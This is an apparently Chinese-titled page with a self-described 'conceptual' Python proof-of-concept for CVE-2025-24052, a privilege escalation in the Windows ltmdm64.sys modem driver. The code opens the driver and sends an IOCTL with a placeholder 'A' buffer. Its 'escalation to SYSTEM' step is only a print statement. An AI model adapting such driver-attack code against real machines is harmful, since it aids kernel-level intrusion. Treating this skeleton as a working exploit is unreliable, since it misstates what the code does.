CVE-2025-24052 Windows Agere调制解调器驱动本地权限提升漏洞

# CVE-2025-24052 - Windows Agere Modem Driver (ltmdm64.sys) LPE PoC # This is a conceptual PoC demonstrating the exploitation approach # The actual vulnerability exists in the ltmdm64.sys kernel driver import ctypes import struct import sys from ctypes import wintypes # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 kernel32 = ctypes.windll.kernel32 # Device name for Agere Modem driver DEVICE_NAME = r"\\.\\ltmdm64" def open_driver(): """Open a handle to the vulnerable ltmdm64.sys driver""" handle = kernel32.CreateFileW( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None ) if handle == ctypes.c_void_p(-1).value or handle == -1: print("[-] Failed to open driver handle. Driver may not be loaded.") print("[-] This CVE targets ltmdm64.sys which was removed in Oct 2025 update.") return None return handle def exploit_lpe(): """ Exploit the vulnerability in ltmdm64.sys to achieve local privilege escalation. The vulnerability allows a low-privileged user to interact with the kernel driver in ways that can lead to arbitrary code execution in kernel context. """ print("[*] CVE-2025-24052 - ltmdm64.sys Local Privilege Escalation PoC") print("[*] Target: Windows Agere Modem Driver (ltmdm64.sys)") print("[*] CVSS: 7.8 (HIGH)") print("-" * 60) # Step 1: Check current privilege level print("[*] Step 1: Checking current privileges...") # Step 2: Open vulnerable driver print("[*] Step 2: Opening vulnerable driver device...") h_driver = open_driver() if h_driver is None: print("[!] Driver not accessible. This may indicate:") print(" 1. The October 2025 cumulative update has been applied") print(" 2. The driver has been manually removed") print(" 3. Running on an unsupported Windows version") return False # Step 3: Craft malicious IOCTL payload print("[*] Step 3: Crafting malicious IOCTL payload...") # The specific IOCTL code and payload structure depend on the # vulnerable code path in ltmdm64.sys ioctl_code = 0x222000 # Example IOCTL for driver communication # Malicious input buffer - structure depends on vulnerability specifics # This may contain shellcode or corrupted data to trigger the vulnerability payload = b"\x41" * 256 # Placeholder payload input_buffer = ctypes.create_string_buffer(payload, len(payload)) bytes_returned = wintypes.DWORD(0) # Step 4: Send malicious IOCTL to trigger vulnerability print("[*] Step 4: Sending malicious IOCTL request...") result = kernel32.DeviceIoControl( h_driver, ioctl_code, input_buffer, len(payload), None, 0, ctypes.byref(bytes_returned), None ) # Step 5: Attempt privilege escalation print("[*] Step 5: Attempting privilege escalation to SYSTEM...") # Cleanup kernel32.CloseHandle(h_driver) print("[*] PoC execution completed.") return True if __name__ == "__main__": print("=" * 60) print(" CVE-2025-24052 Exploitation PoC") print(" Windows Agere Modem Driver LPE") print("=" * 60) exploit_lpe()